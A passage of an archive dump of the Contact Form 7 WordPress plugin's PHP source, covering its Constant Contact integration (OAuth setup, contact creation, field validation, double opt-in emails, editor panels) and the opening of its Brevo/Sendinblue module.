		$option = (array) WPCF7::get_option( self::service_name );

		if ( isset( $option['client_id'] ) ) {
			$this->client_id = $option['client_id'];
		}

		if ( isset( $option['client_secret'] ) ) {
			$this->client_secret = $option['client_secret'];
		}

		if ( isset( $option['access_token'] ) ) {
			$this->access_token = $option['access_token'];
		}

		if ( isset( $option['refresh_token'] ) ) {
			$this->refresh_token = $option['refresh_token'];
		}

		if ( $this->is_active() ) {
			if ( isset( $option['contact_lists'] ) ) {
				$this->contact_lists = $option['contact_lists'];
			}
		}

		add_action( 'wpcf7_admin_init', array( $this, 'auth_redirect' ) );
	}

	public function auth_redirect() {
		$auth = isset( $_GET['auth'] ) ? trim( $_GET['auth'] ) : '';

		if ( self::service_name === $auth
		and current_user_can( 'wpcf7_manage_integration' ) ) {
			$redirect_to = add_query_arg(
				array(
					'service' => self::service_name,
					'action' => 'auth_redirect',
					'code' => isset( $_GET['code'] ) ? trim( $_GET['code'] ) : '',
					'state' => isset( $_GET['state'] ) ? trim( $_GET['state'] ) : '',
				),
				menu_page_url( 'wpcf7-integration', false )
			);

			wp_safe_redirect( $redirect_to );
			exit();
		}
	}

	protected function save_data() {
		$option = array_merge(
			(array) WPCF7::get_option( self::service_name ),
			array(
				'client_id' => $this->client_id,
				'client_secret' => $this->client_secret,
				'access_token' => $this->access_token,
				'refresh_token' => $this->refresh_token,
				'contact_lists' => $this->contact_lists,
			)
		);

		WPCF7::update_option( self::service_name, $option );
	}

	protected function reset_data() {
		$this->client_id = '';
		$this->client_secret = '';
		$this->access_token = '';
		$this->refresh_token = '';
		$this->contact_lists = array();

		$this->save_data();
	}

	public function get_title() {
		return __( 'Constant Contact', 'contact-form-7' );
	}

	public function get_categories() {
		return array( 'email_marketing' );
	}

	public function icon() {
	}

	public function link() {
		echo 'constantcontact.com';
	}

	protected function get_redirect_uri() {
		return admin_url( '/?auth=' . self::service_name );
	}

	protected function menu_page_url( $args = '' ) {
		$args = wp_parse_args( $args, array() );

		$url = menu_page_url( 'wpcf7-integration', false );
		$url = add_query_arg( array( 'service' => self::service_name ), $url );

		if ( ! empty( $args ) ) {
			$url = add_query_arg( $args, $url );
		}

		return $url;
	}

	public function load( $action = '' ) {
		if ( 'auth_redirect' == $action ) {
			$code = isset( $_GET['code'] ) ? urldecode( $_GET['code'] ) : '';
			$state = isset( $_GET['state'] ) ? urldecode( $_GET['state'] ) : '';

			if ( $code and $state
			and wpcf7_verify_nonce( $state, 'wpcf7_constant_contact_authorize' ) ) {
				$response = $this->request_token( $code );
			}

			if ( ! empty( $this->access_token ) ) {
				$message = 'success';
			} else {
				$message = 'failed';
			}

			wp_safe_redirect( $this->menu_page_url(
				array(
					'action' => 'setup',
					'message' => $message,
				)
			) );

			exit();
		}

		if ( 'setup' == $action and 'POST' == $_SERVER['REQUEST_METHOD'] ) {
			check_admin_referer( 'wpcf7-constant-contact-setup' );

			if ( ! empty( $_POST['reset'] ) ) {
				$this->reset_data();
			} else {
				$this->client_id = isset( $_POST['client_id'] )
					? trim( $_POST['client_id'] ) : '';

				$this->client_secret = isset( $_POST['client_secret'] )
					? trim( $_POST['client_secret'] ) : '';

				$this->save_data();
				$this->authorize( 'contact_data offline_access' );
			}

			wp_safe_redirect( $this->menu_page_url( 'action=setup' ) );
			exit();
		}
	}

	protected function authorize( $scope = '' ) {
		$endpoint = add_query_arg(
			array_map( 'urlencode', array(
				'response_type' => 'code',
				'client_id' => $this->client_id,
				'redirect_uri' => $this->get_redirect_uri(),
				'scope' => $scope,
				'state' => wpcf7_create_nonce( 'wpcf7_constant_contact_authorize' ),
			) ),
			$this->authorization_endpoint
		);

		if ( wp_redirect( sanitize_url( $endpoint ) ) ) {
			exit();
		}
	}

	public function email_exists( $email ) {
		$endpoint = add_query_arg(
			array(
				'email' => $email,
				'status' => 'all',
			),
			'https://api.cc.email/v3/contacts'
		);

		$request = array(
			'method' => 'GET',
			'headers' => array(
				'Accept' => 'application/json',
				'Content-Type' => 'application/json; charset=utf-8',
			),
		);

		$response = $this->remote_request( $endpoint, $request );

		if ( 400 <= (int) wp_remote_retrieve_response_code( $response ) ) {
			if ( WP_DEBUG ) {
				$this->log( $endpoint, $request, $response );
			}

			return false;
		}

		$response_body = wp_remote_retrieve_body( $response );

		if ( empty( $response_body ) ) {
			return false;
		}

		$response_body = json_decode( $response_body, true );

		return ! empty( $response_body['contacts'] );
	}

	public function create_contact( $properties ) {
		$endpoint = 'https://api.cc.email/v3/contacts';

		$request = array(
			'method' => 'POST',
			'headers' => array(
				'Accept' => 'application/json',
				'Content-Type' => 'application/json; charset=utf-8',
			),
			'body' => wp_json_encode( $properties ),
		);

		$response = $this->remote_request( $endpoint, $request );

		if ( 400 <= (int) wp_remote_retrieve_response_code( $response ) ) {
			if ( WP_DEBUG ) {
				$this->log( $endpoint, $request, $response );
			}

			return false;
		}
	}

	public function get_contact_lists() {
		$endpoint = 'https://api.cc.email/v3/contact_lists';

		$request = array(
			'method' => 'GET',
			'headers' => array(
				'Accept' => 'application/json',
				'Content-Type' => 'application/json; charset=utf-8',
			),
		);

		$response = $this->remote_request( $endpoint, $request );

		if ( 400 <= (int) wp_remote_retrieve_response_code( $response ) ) {
			if ( WP_DEBUG ) {
				$this->log( $endpoint, $request, $response );
			}

			return false;
		}

		$response_body = wp_remote_retrieve_body( $response );

		if ( empty( $response_body ) ) {
			return false;
		}

		$response_body = json_decode( $response_body, true );

		if ( ! empty( $response_body['lists'] ) ) {
			return (array) $response_body['lists'];
		} else {
			return array();
		}
	}

	public function update_contact_lists( $selection = array() ) {
		$contact_lists = array();
		$contact_lists_on_api = $this->get_contact_lists();

		if ( false !== $contact_lists_on_api ) {
			foreach ( (array) $contact_lists_on_api as $list ) {
				if ( isset( $list['list_id'] ) ) {
					$list_id = trim( $list['list_id'] );
				} else {
					continue;
				}

				if ( isset( $this->contact_lists[$list_id]['selected'] ) ) {
					$list['selected'] = $this->contact_lists[$list_id]['selected'];
				} else {
					$list['selected'] = array();
				}

				$contact_lists[$list_id] = $list;
			}
		} else {
			$contact_lists = $this->contact_lists;
		}

		foreach ( (array) $selection as $key => $ids_or_names ) {
			foreach( $contact_lists as $list_id => $list ) {
				if ( in_array( $list['list_id'], (array) $ids_or_names, true )
				or in_array( $list['name'], (array) $ids_or_names, true ) ) {
					$contact_lists[$list_id]['selected'][$key] = true;
				} else {
					unset( $contact_lists[$list_id]['selected'][$key] );
				}
			}
		}

		$this->contact_lists = $contact_lists;

		if ( $selection ) {
			$this->save_data();
		}

		return $this->contact_lists;
	}

	public function admin_notice( $message = '' ) {
		switch ( $message ) {
			case 'success':
				wp_admin_notice(
					esc_html( __( "Connection established.", 'contact-form-7' ) ),
					'type=success'
				);

				break;
			case 'failed':
				wp_admin_notice(
					sprintf(
						'<strong>%1$s</strong>: %2$s',
						esc_html( __( "Error", 'contact-form-7' ) ),
						esc_html( __( "Failed to establish connection. Please double-check your configuration.", 'contact-form-7' ) )
					),
					'type=error'
				);

				break;
			case 'updated':
				wp_admin_notice(
					esc_html( __( "Configuration updated.", 'contact-form-7' ) ),
					'type=success'
				);

				break;
		}
	}

	public function display( $action = '' ) {
		echo sprintf(
			'<p><strong>%1$s</strong> %2$s</p>',
			esc_html( __( 'Warning:', 'contact-form-7' ) ),
			wpcf7_link(
				__( 'https://contactform7.com/2024/02/02/we-end-the-constant-contact-integration/', 'contact-form-7' ),
				__( "This feature is deprecated. You are not recommended to use it.", 'contact-form-7' )
			)
		);

		echo sprintf(
			'<p>%s</p>',
			esc_html( __( "The Constant Contact integration module allows you to send contact data collected through your contact forms to the Constant Contact API. You can create reliable email subscription services in a few easy steps.", 'contact-form-7' ) )
		);

		echo sprintf(
			'<p><strong>%s</strong></p>',
			wpcf7_link(
				__( 'https://contactform7.com/constant-contact-integration/', 'contact-form-7' ),
				__( 'Constant Contact integration', 'contact-form-7' )
			)
		);

		if ( $this->is_active() ) {
			echo sprintf(
				'<p class="dashicons-before dashicons-yes">%s</p>',
				esc_html( __( "This site is connected to the Constant Contact API.", 'contact-form-7' ) )
			);
		}

		if ( 'setup' == $action ) {
			$this->display_setup();
		} else {
			echo sprintf(
				'<p><a href="%1$s" class="button">%2$s</a></p>',
				esc_url( $this->menu_page_url( 'action=setup' ) ),
				esc_html( __( 'Setup Integration', 'contact-form-7' ) )
			);
		}
	}

	private function display_setup() {
?>
<form method="post" action="<?php echo esc_url( $this->menu_page_url( 'action=setup' ) ); ?>">
<?php wp_nonce_field( 'wpcf7-constant-contact-setup' ); ?>
<table class="form-table">
<tbody>
<tr>
	<th scope="row"><label for="client_id"><?php echo esc_html( __( 'API Key', 'contact-form-7' ) ); ?></label></th>
	<td><?php
		if ( $this->is_active() ) {
			echo esc_html( $this->client_id );
			echo sprintf(
				'<input type="hidden" value="%1$s" id="client_id" name="client_id" />',
				esc_attr( $this->client_id )
			);
		} else {
			echo sprintf(
				'<input type="text" aria-required="true" value="%1$s" id="client_id" name="client_id" class="regular-text code" />',
				esc_attr( $this->client_id )
			);
		}
	?></td>
</tr>
<tr>
	<th scope="row"><label for="client_secret"><?php echo esc_html( __( 'App Secret', 'contact-form-7' ) ); ?></label></th>
	<td><?php
		if ( $this->is_active() ) {
			echo esc_html( wpcf7_mask_password( $this->client_secret, 4, 4 ) );
			echo sprintf(
				'<input type="hidden" value="%1$s" id="client_secret" name="client_secret" />',
				esc_attr( $this->client_secret )
			);
		} else {
			echo sprintf(
				'<input type="text" aria-required="true" value="%1$s" id="client_secret" name="client_secret" class="regular-text code" />',
				esc_attr( $this->client_secret )
			);
		}
	?></td>
</tr>
<tr>
	<th scope="row"><label for="redirect_uri"><?php echo esc_html( __( 'Redirect URI', 'contact-form-7' ) ); ?></label></th>
	<td><?php
		echo sprintf(
			'<input type="text" value="%1$s" id="redirect_uri" name="redirect_uri" class="large-text code" readonly="readonly" onfocus="this.select();" style="font-size: 11px;" />',
			$this->get_redirect_uri()
		);
	?>
	<p class="description"><?php echo esc_html( __( "Set this URL as the redirect URI.", 'contact-form-7' ) ); ?></p>
	</td>
</tr>
</tbody>
</table>
<?php
		if ( $this->is_active() ) {
			submit_button(
				_x( 'Reset Keys', 'API keys', 'contact-form-7' ),
				'small', 'reset'
			);
		} else {
			submit_button(
				__( 'Connect to the Constant Contact API', 'contact-form-7' )
			);
		}
?>
</form>
<?php
	}

}
contact-form-7/modules/constant-contact/constant-contact.php000064400000005212147510273060020236 0ustar00<?php
/**
 * Constant Contact module main file
 *
 * @link https://contactform7.com/constant-contact-integration/
 */

wpcf7_include_module_file( 'constant-contact/service.php' );
wpcf7_include_module_file( 'constant-contact/contact-post-request.php' );
wpcf7_include_module_file( 'constant-contact/contact-form-properties.php' );
wpcf7_include_module_file( 'constant-contact/doi.php' );


add_action(
	'wpcf7_init',
	'wpcf7_constant_contact_register_service',
	120, 0
);

/**
 * Registers the Constant Contact service.
 */
function wpcf7_constant_contact_register_service() {
	$integration = WPCF7_Integration::get_instance();

	$service = WPCF7_ConstantContact::get_instance();
	$integration->add_service( 'constant_contact', $service );
}


add_action( 'wpcf7_submit', 'wpcf7_constant_contact_submit', 10, 2 );

/**
 * Callback to the wpcf7_submit action hook. Creates a contact
 * based on the submission.
 */
function wpcf7_constant_contact_submit( $contact_form, $result ) {
	$service = WPCF7_ConstantContact::get_instance();

	if ( ! $service->is_active() ) {
		return;
	}

	if ( $contact_form->in_demo_mode() ) {
		return;
	}

	$do_submit = true;

	if ( empty( $result['status'] )
	or ! in_array( $result['status'], array( 'mail_sent' ) ) ) {
		$do_submit = false;
	}

	$prop = $contact_form->prop( 'constant_contact' );

	if ( empty( $prop['enable_contact_list'] ) ) {
		$do_submit = false;
	}

	$do_submit = apply_filters( 'wpcf7_constant_contact_submit',
		$do_submit, $contact_form, $result
	);

	if ( ! $do_submit ) {
		return;
	}

	$submission = WPCF7_Submission::get_instance();

	$consented = true;

	foreach ( $contact_form->scan_form_tags( 'feature=name-attr' ) as $tag ) {
		if ( $tag->has_option( 'consent_for:constant_contact' )
		and null == $submission->get_posted_data( $tag->name ) ) {
			$consented = false;
			break;
		}
	}

	if ( ! $consented ) {
		return;
	}

	$request_builder_class_name = apply_filters(
		'wpcf7_constant_contact_contact_post_request_builder',
		'WPCF7_ConstantContact_ContactPostRequest'
	);

	if ( ! class_exists( $request_builder_class_name ) ) {
		return;
	}

	$request_builder = new $request_builder_class_name;
	$request_builder->build( $submission );

	if ( ! $request_builder->is_valid() ) {
		return;
	}

	$email = $request_builder->get_email_address();

	if ( $email ) {
		if ( $service->email_exists( $email ) ) {
			return;
		}

		$token = null;

		do_action_ref_array( 'wpcf7_doi', array(
			'wpcf7_constant_contact',
			array(
				'email_to' => $email,
				'properties' => $request_builder->to_array(),
			),
			&$token,
		) );

		if ( isset( $token ) ) {
			return;
		}
	}

	$service->create_contact( $request_builder->to_array() );
}
contact-form-7/modules/constant-contact/contact-post-request.php000064400000017453147510273060021072 0ustar00<?php

class WPCF7_ConstantContact_ContactPostRequest {

	private $email_address;
	private $first_name;
	private $last_name;
	private $job_title;
	private $company_name;
	private $create_source;
	private $birthday_month;
	private $birthday_day;
	private $anniversary;
	private $custom_fields = array();
	private $phone_numbers = array();
	private $street_addresses = array();
	private $list_memberships = array();

	public function __construct() {
	}

	public function build( WPCF7_Submission $submission ) {
		$this->set_create_source( 'Contact' );

		$this->set_first_name(
			$submission->get_posted_string( 'your-first-name' )
		);

		$this->set_last_name(
			$submission->get_posted_string( 'your-last-name' )
		);

		if ( ! ( $this->first_name || $this->last_name )
		and $your_name = $submission->get_posted_string( 'your-name' ) ) {
			$your_name = preg_split( '/[\s]+/', $your_name, 2 );
			$this->set_first_name( array_shift( $your_name ) );
			$this->set_last_name( array_shift( $your_name ) );
		}

		$this->set_email_address(
			$submission->get_posted_string( 'your-email' ),
			'implicit'
		);

		$this->set_job_title(
			$submission->get_posted_string( 'your-job-title' )
		);

		$this->set_company_name(
			$submission->get_posted_string( 'your-company-name' )
		);

		$this->set_birthday(
			$submission->get_posted_string( 'your-birthday-month' ),
			$submission->get_posted_string( 'your-birthday-day' )
		);

		if ( ! ( $this->birthday_month && $this->birthday_day ) ) {
			$date = $submission->get_posted_string( 'your-birthday' );

			if ( preg_match( '/^(\d{4})-(\d{2})-(\d{2})$/', $date, $matches ) ) {
				$this->set_birthday( $matches[2], $matches[3] );
			}
		}

		$this->set_anniversary(
			$submission->get_posted_string( 'your-anniversary' )
		);

		$this->add_phone_number(
			$submission->get_posted_string( 'your-phone-number' )
		);

		$this->add_street_address(
			$submission->get_posted_string( 'your-address-street' ),
			$submission->get_posted_string( 'your-address-city' ),
			$submission->get_posted_string( 'your-address-state' ),
			$submission->get_posted_string( 'your-address-postal-code' ),
			$submission->get_posted_string( 'your-address-country' )
		);

		$service_option = (array) WPCF7::get_option( 'constant_contact' );

		$contact_lists = isset( $service_option['contact_lists'] )
			? $service_option['contact_lists'] : array();

		$contact_form = $submission->get_contact_form();

		$prop = $contact_form->prop( 'constant_contact' );

		if ( ! empty( $prop['enable_contact_list'] )
		and ! empty( $prop['contact_lists'] ) ) {
			foreach ( (array) $prop['contact_lists'] as $list_id ) {
				$this->add_list_membership( $list_id );
			}
		}
	}

	public function is_valid() {
		return $this->create_source
			&& ( $this->email_address || $this->first_name || $this->last_name );
	}

	public function to_array() {
		$output = array(
			'email_address' => $this->email_address,
			'first_name' => $this->first_name,
			'last_name' => $this->last_name,
			'job_title' => $this->job_title,
			'company_name' => $this->company_name,
			'create_source' => $this->create_source,
			'birthday_month' => $this->birthday_month,
			'birthday_day' => $this->birthday_day,
			'anniversary' => $this->anniversary,
			'custom_fields' => $this->custom_fields,
			'phone_numbers' => $this->phone_numbers,
			'street_addresses' => $this->street_addresses,
			'list_memberships' => $this->list_memberships,
		);

		return array_filter( $output );
	}

	public function get_email_address() {
		if ( isset( $this->email_address['address'] ) ) {
			return $this->email_address['address'];
		}

		return '';
	}

	public function set_email_address( $address, $permission_to_send = '' ) {
		if ( ! wpcf7_is_email( $address )
		or 80 < $this->strlen( $address ) ) {
			return false;
		}

		$types_of_permission = array(
			'implicit', 'explicit', 'deprecate', 'pending',
			'unsubscribe', 'temp_hold', 'not_set',
		);

		if ( ! in_array( $permission_to_send, $types_of_permission ) ) {
			$permission_to_send = 'implicit';
		}

		return $this->email_address = array(
			'address' => $address,
			'permission_to_send' => $permission_to_send,
		);
	}

	public function set_first_name( $first_name ) {
		$first_name = trim( $first_name );

		if ( empty( $first_name )
		or 50 < $this->strlen( $first_name ) ) {
			return false;
		}

		return $this->first_name = $first_name;
	}

	public function set_last_name( $last_name ) {
		$last_name = trim( $last_name );

		if ( empty( $last_name )
		or 50 < $this->strlen( $last_name ) ) {
			return false;
		}

		return $this->last_name = $last_name;
	}

	public function set_job_title( $job_title ) {
		$job_title = trim( $job_title );

		if ( empty( $job_title )
		or 50 < $this->strlen( $job_title ) ) {
			return false;
		}

		return $this->job_title = $job_title;
	}

	public function set_company_name( $company_name ) {
		$company_name = trim( $company_name );

		if ( empty( $company_name )
		or 50 < $this->strlen( $company_name ) ) {
			return false;
		}

		return $this->company_name = $company_name;
	}

	public function set_create_source( $create_source ) {
		if ( ! in_array( $create_source, array( 'Contact', 'Account' ) ) ) {
			return false;
		}

		return $this->create_source = $create_source;
	}

	public function set_birthday( $month, $day ) {
		$month = (int) $month;
		$day = (int) $day;

		if ( $month < 1 || 12 < $month
		or $day < 1 || 31 < $day ) {
			return false;
		}

		$this->birthday_month = $month;
		$this->birthday_day = $day;

		return array( $this->birthday_month, $this->birthday_day );
	}

	public function set_anniversary( $anniversary ) {
		$pattern = sprintf(
			'#^(%s)$#',
			implode( '|', array(
				'\d{1,2}/\d{1,2}/\d{4}',
				'\d{4}/\d{1,2}/\d{1,2}',
				'\d{4}-\d{1,2}-\d{1,2}',
				'\d{1,2}-\d{1,2}-\d{4}',
			) )
		);

		if ( ! preg_match( $pattern, $anniversary ) ) {
			return false;
		}

		return $this->anniversary = $anniversary;
	}

	public function add_custom_field( $custom_field_id, $value ) {
		$uuid_pattern = '/^[0-9a-f-]+$/i';

		$value = trim( $value );

		if ( 25 <= count( $this->custom_fields )
		or ! preg_match( $uuid_pattern, $custom_field_id )
		or 255 < $this->strlen( $value ) ) {
			return false;
		}

		return $this->custom_fields[] = array(
			'custom_field_id' => $custom_field_id,
			'value' => $value,
		);
	}

	public function add_phone_number( $phone_number, $kind = 'home' ) {
		$phone_number = trim( $phone_number );

		if ( empty( $phone_number )
		or ! wpcf7_is_tel( $phone_number )
		or 25 < $this->strlen( $phone_number )
		or 2 <= count( $this->phone_numbers )
		or ! in_array( $kind, array( 'home', 'work', 'other' ) ) ) {
			return false;
		}

		return $this->phone_numbers[] = array(
			'phone_number' => $phone_number,
			'kind' => $kind,
		);
	}

	public function add_street_address( $street, $city, $state, $postal_code, $country, $kind = 'home' ) {
		$street = trim( $street );
		$city = trim( $city );
		$state = trim( $state );
		$postal_code = trim( $postal_code );
		$country = trim( $country );

		if ( ! ( $street || $city || $state || $postal_code || $country )
		or 1 <= count( $this->street_addresses )
		or ! in_array( $kind, array( 'home', 'work', 'other' ) )
		or 255 < $this->strlen( $street )
		or 50 < $this->strlen( $city )
		or 50 < $this->strlen( $state )
		or 50 < $this->strlen( $postal_code )
		or 50 < $this->strlen( $country ) ) {
			return false;
		}

		return $this->street_addresses[] = array(
			'kind' => $kind,
			'street' => $street,
			'city' => $city,
			'state' => $state,
			'postal_code' => $postal_code,
			'country' => $country,
		);
	}

	public function add_list_membership( $list_id ) {
		$uuid_pattern = '/^[0-9a-f-]+$/i';

		if ( 50 <= count( $this->list_memberships )
		or ! preg_match( $uuid_pattern, $list_id ) ) {
			return false;
		}

		return $this->list_memberships[] = $list_id;
	}

	protected function strlen( $text ) {
		return wpcf7_count_code_units( $text );
	}

}
contact-form-7/modules/constant-contact/doi.php000064400000004226147510273060015533 0ustar00<?php
/**
 * Double Opt-In Helper-related functions
 *
 * @link https://contactform7.com/doi-helper/
 */


add_action(
	'doihelper_init',
	'wpcf7_constant_contact_doi_register_agent',
	10, 0
);

/**
 * Registers wpcf7_constant_contact as an agent.
 */
function wpcf7_constant_contact_doi_register_agent() {
	if ( ! function_exists( 'doihelper_register_agent' ) ) {
		return;
	}

	doihelper_register_agent( 'wpcf7_constant_contact', array(
		'optin_callback' => apply_filters(
			'wpcf7_constant_contact_doi_optin_callback',
			'wpcf7_constant_contact_doi_default_optin_callback'
		),
		'email_callback' => apply_filters(
			'wpcf7_constant_contact_doi_email_callback',
			'wpcf7_constant_contact_doi_default_email_callback'
		),
	) );
}


/**
 * Default optin_callback function.
 */
function wpcf7_constant_contact_doi_default_optin_callback( $properties ) {
	$service = WPCF7_ConstantContact::get_instance();

	if ( $service->is_active() ) {
		$service->create_contact( $properties );
	}
}


/**
 * Default email_callback function.
 */
function wpcf7_constant_contact_doi_default_email_callback( $args ) {
	if ( ! isset( $args['token'] ) or ! isset( $args['email_to'] ) ) {
		return;
	}

	$site_title = wp_specialchars_decode(
		get_bloginfo( 'name' ),
		ENT_QUOTES
	);

	$link = add_query_arg(
		array( 'doitoken' => $args['token'] ),
		home_url()
	);

	$to = $args['email_to'];

	$subject = sprintf(
		/* translators: %s: blog name */
		__( 'Opt-in confirmation from %s', 'contact-form-7' ),
		$site_title
	);

	$message = sprintf(
		/* translators: 1: blog name, 2: confirmation link */
		__( 'Hello,

This is a confirmation email sent from %1$s.

We have received your submission to our web form, according to which you have allowed us to add you to our contact list. But, the process has not yet been completed. To complete it, please click the following link.

%2$s

If it was not your intention, or if you have no idea why you received this message, please do not click on the link, and ignore this message. We will never collect or use your personal data without your clear consent.

Sincerely,
%1$s', 'contact-form-7' ),
		$site_title,
		$link
	);

	wp_mail( $to, $subject, $message );
}
contact-form-7/modules/constant-contact/contact-form-properties.php000064400000013654147510273060021553 0ustar00<?php

add_filter(
	'wpcf7_pre_construct_contact_form_properties',
	'wpcf7_constant_contact_register_property',
	10, 2
);

/**
 * Registers the constant_contact contact form property.
 */
function wpcf7_constant_contact_register_property( $properties, $contact_form ) {
	$service = WPCF7_ConstantContact::get_instance();

	if ( $service->is_active() ) {
		$properties += array(
			'constant_contact' => array(),
		);
	}

	return $properties;
}


add_filter(
	'wpcf7_contact_form_property_constant_contact',
	'wpcf7_constant_contact_setup_property',
	10, 2
);

/**
 * Sets up the constant_contact property value. For back-compat, this attempts
 * to take over the value from old settings if the property is empty.
 */
function wpcf7_constant_contact_setup_property( $property, $contact_form ) {
	if ( ! empty( $property ) ) {
		$property = wp_parse_args(
			$property,
			array(
				'enable_contact_list' => false,
				'contact_lists' => array(),
			)
		);

		return $property;
	}

	$property = array(
		'enable_contact_list' => true,
		'contact_lists' => array(),
	);

	if ( $contact_form->initial() ) {
		return $property;
	}

	$service_option = (array) WPCF7::get_option( 'constant_contact' );

	$property['enable_contact_list'] = ! $contact_form->is_false(
		'constant_contact'
	);

	if ( isset( $service_option['contact_lists'] ) ) {
		$contact_lists = (array) $service_option['contact_lists'];
		$contact_lists_selected = array();

		foreach ( $contact_lists as $list ) {
			if ( empty( $list['selected'] ) ) {
				continue;
			}

			foreach ( (array) $list['selected'] as $key => $val ) {
				if ( ! isset( $contact_lists_selected[$key] ) ) {
					$contact_lists_selected[$key] = array();
				}

				$contact_lists_selected[$key][] = $list['list_id'];
			}
		}

		$related_keys = array(
			sprintf( 'wpcf7_contact_form:%d', $contact_form->id() ),
			'default',
		);

		foreach ( $related_keys as $key ) {
			if ( ! empty( $contact_lists_selected[$key] ) ) {
				$property['contact_lists'] = $contact_lists_selected[$key];
				break;
			}
		}
	}

	return $property;
}


add_action(
	'wpcf7_save_contact_form',
	'wpcf7_constant_contact_save_contact_form',
	10, 1
);

/**
 * Saves the constant_contact property value.
 */
function wpcf7_constant_contact_save_contact_form( $contact_form ) {
	$service = WPCF7_ConstantContact::get_instance();

	if ( ! $service->is_active() ) {
		return;
	}

	$prop = isset( $_POST['wpcf7-ctct'] )
		? (array) $_POST['wpcf7-ctct']
		: array();

	$prop = wp_parse_args(
		$prop,
		array(
			'enable_contact_list' => false,
			'contact_lists' => array(),
		)
	);

	$contact_form->set_properties( array(
		'constant_contact' => $prop,
	) );
}


add_filter(
	'wpcf7_editor_panels',
	'wpcf7_constant_contact_editor_panels',
	10, 1
);

/**
 * Builds the editor panel for the constant_contact property.
 */
function wpcf7_constant_contact_editor_panels( $panels ) {
	$service = WPCF7_ConstantContact::get_instance();

	if ( ! $service->is_active() ) {
		return $panels;
	}

	$contact_form = WPCF7_ContactForm::get_current();

	$prop = wp_parse_args(
		$contact_form->prop( 'constant_contact' ),
		array(
			'enable_contact_list' => false,
			'contact_lists' => array(),
		)
	);

	$editor_panel = static function () use ( $prop, $service ) {

		$description = sprintf(
			esc_html(
				__( "You can set up the Constant Contact integration here. For details, see %s.", 'contact-form-7' )
			),
			wpcf7_link(
				__( 'https://contactform7.com/constant-contact-integration/', 'contact-form-7' ),
				__( 'Constant Contact integration', 'contact-form-7' )
			)
		);

		$lists = $service->get_contact_lists();

?>
<h2><?php echo esc_html( __( 'Constant Contact', 'contact-form-7' ) ); ?></h2>

<fieldset>
	<legend><?php echo $description; ?></legend>

	<table class="form-table" role="presentation">
		<tbody>
			<tr class="<?php echo $prop['enable_contact_list'] ? '' : 'inactive'; ?>">
				<th scope="row">
		<?php

		echo esc_html( __( 'Contact lists', 'contact-form-7' ) );

		?>
				</th>
				<td>
					<fieldset>
						<legend class="screen-reader-text">
		<?php

		echo esc_html( __( 'Contact lists', 'contact-form-7' ) );

		?>
						</legend>
						<label for="wpcf7-ctct-enable-contact-list">
							<input type="checkbox" name="wpcf7-ctct[enable_contact_list]" id="wpcf7-ctct-enable-contact-list" value="1" <?php checked( $prop['enable_contact_list'] ); ?> />
		<?php

		echo esc_html(
			__( "Add form submitters to your contact lists", 'contact-form-7' )
		);

		?>
						</label>
					</fieldset>
				</td>
			</tr>
			<tr>
				<th scope="row"></th>
				<td>
					<fieldset>
		<?php

		if ( $lists ) {
			echo sprintf(
				'<legend>%1$s</legend>',
				esc_html( __( 'Select lists to which contacts are added:', 'contact-form-7' ) )
			);

			echo '<ul>';

			foreach ( $lists as $list ) {
				echo sprintf(
					'<li><label><input %1$s /> %2$s</label></li>',
					wpcf7_format_atts( array(
						'type' => 'checkbox',
						'name' => 'wpcf7-ctct[contact_lists][]',
						'value' => $list['list_id'],
						'checked' => in_array( $list['list_id'], $prop['contact_lists'] ),
					) ),
					esc_html( $list['name'] )
				);
			}

			echo '</ul>';
		} else {
			echo sprintf(
				'<legend>%1$s</legend>',
				esc_html( __( 'You have no contact list yet.', 'contact-form-7' ) )
			);
		}

		?>
					</fieldset>
		<?php

		echo sprintf(
			'<p><a %1$s>%2$s <span class="screen-reader-text">%3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
			wpcf7_format_atts( array(
				'href' => 'https://app.constantcontact.com/pages/contacts/ui#lists',
				'target' => '_blank',
				'rel' => 'external noreferrer noopener',
			) ),
			esc_html( __( 'Manage your contact lists', 'contact-form-7' ) ),
			esc_html( __( '(opens in a new tab)', 'contact-form-7' ) )
		);

		?>
				</td>
			</tr>
		</tbody>
	</table>
</fieldset>
<?php
	};

	$panels += array(
		'ctct-panel' => array(
			'title' => __( 'Constant Contact', 'contact-form-7' ),
			'callback' => $editor_panel,
		),
	);

	return $panels;
}
contact-form-7/modules/sendinblue/sendinblue.php000064400000012347147510273060015761 0ustar00<?php
/**
 * Brevo module main file
 *
 * @link https://contactform7.com/sendinblue-integration/
 */

wpcf7_include_module_file( 'sendinblue/service.php' );
wpcf7_include_module_file( 'sendinblue/contact-form-properties.php' );
wpcf7_include_module_file( 'sendinblue/doi.php' );


add_action( 'wpcf7_init', 'wpcf7_sendinblue_register_service', 10, 0 );

/**
 * Registers the Sendinblue service.
 */
function wpcf7_sendinblue_register_service() {
	$integration = WPCF7_Integration::get_instance();

	$integration->add_service( 'sendinblue',
		WPCF7_Sendinblue::get_instance()
	);
}


add_action( 'wpcf7_submit', 'wpcf7_sendinblue_submit', 10, 2 );

/**
 * Callback to the wpcf7_submit action hook. Creates a contact
 * based on the submission.
 */
function wpcf7_sendinblue_submit( $contact_form, $result ) {
	if ( $contact_form->in_demo_mode() ) {
		return;
	}

	$service = WPCF7_Sendinblue::get_instance();

	if ( ! $service->is_active() ) {
		return;
	}

	if ( empty( $result['posted_data_hash'] ) ) {
		return;
	}

	if ( empty( $result['status'] )
	or ! in_array( $result['status'], array( 'mail_sent', 'mail_failed' ) ) ) {
		return;
	}

	$submission = WPCF7_Submission::get_instance();

	$consented = true;

	foreach ( $contact_form->scan_form_tags( 'feature=name-attr' ) as $tag ) {
		if ( $tag->has_option( 'consent_for:sendinblue' )
		and null == $submission->get_posted_data( $tag->name ) ) {
			$consented = false;
			break;
		}
	}

	if ( ! $consented ) {
		return;
	}

	$prop = wp_parse_args(
		$contact_form->prop( 'sendinblue' ),
		array(
			'enable_contact_list' => false,
			'contact_lists' => array(),
			'enable_transactional_email' => false,
			'email_template' => 0,
		)
	);

	if ( ! $prop['enable_contact_list'] ) {
		return;
	}

	$attributes = wpcf7_sendinblue_collect_parameters();

	$params = array(
		'contact' => array(),
		'email' => array(),
	);

	if ( ! empty( $attributes['EMAIL'] ) or ! empty( $attributes['SMS'] ) ) {
		$params['contact'] = apply_filters(
			'wpcf7_sendinblue_contact_parameters',
			array(
				'email' => $attributes['EMAIL'],
				'attributes' => (object) $attributes,
				'listIds' => (array) $prop['contact_lists'],
				'updateEnabled' => false,
			)
		);
	}

	if ( $prop['enable_transactional_email'] and $prop['email_template'] ) {
		$first_name = isset( $attributes['FIRSTNAME'] )
			? trim( $attributes['FIRSTNAME'] )
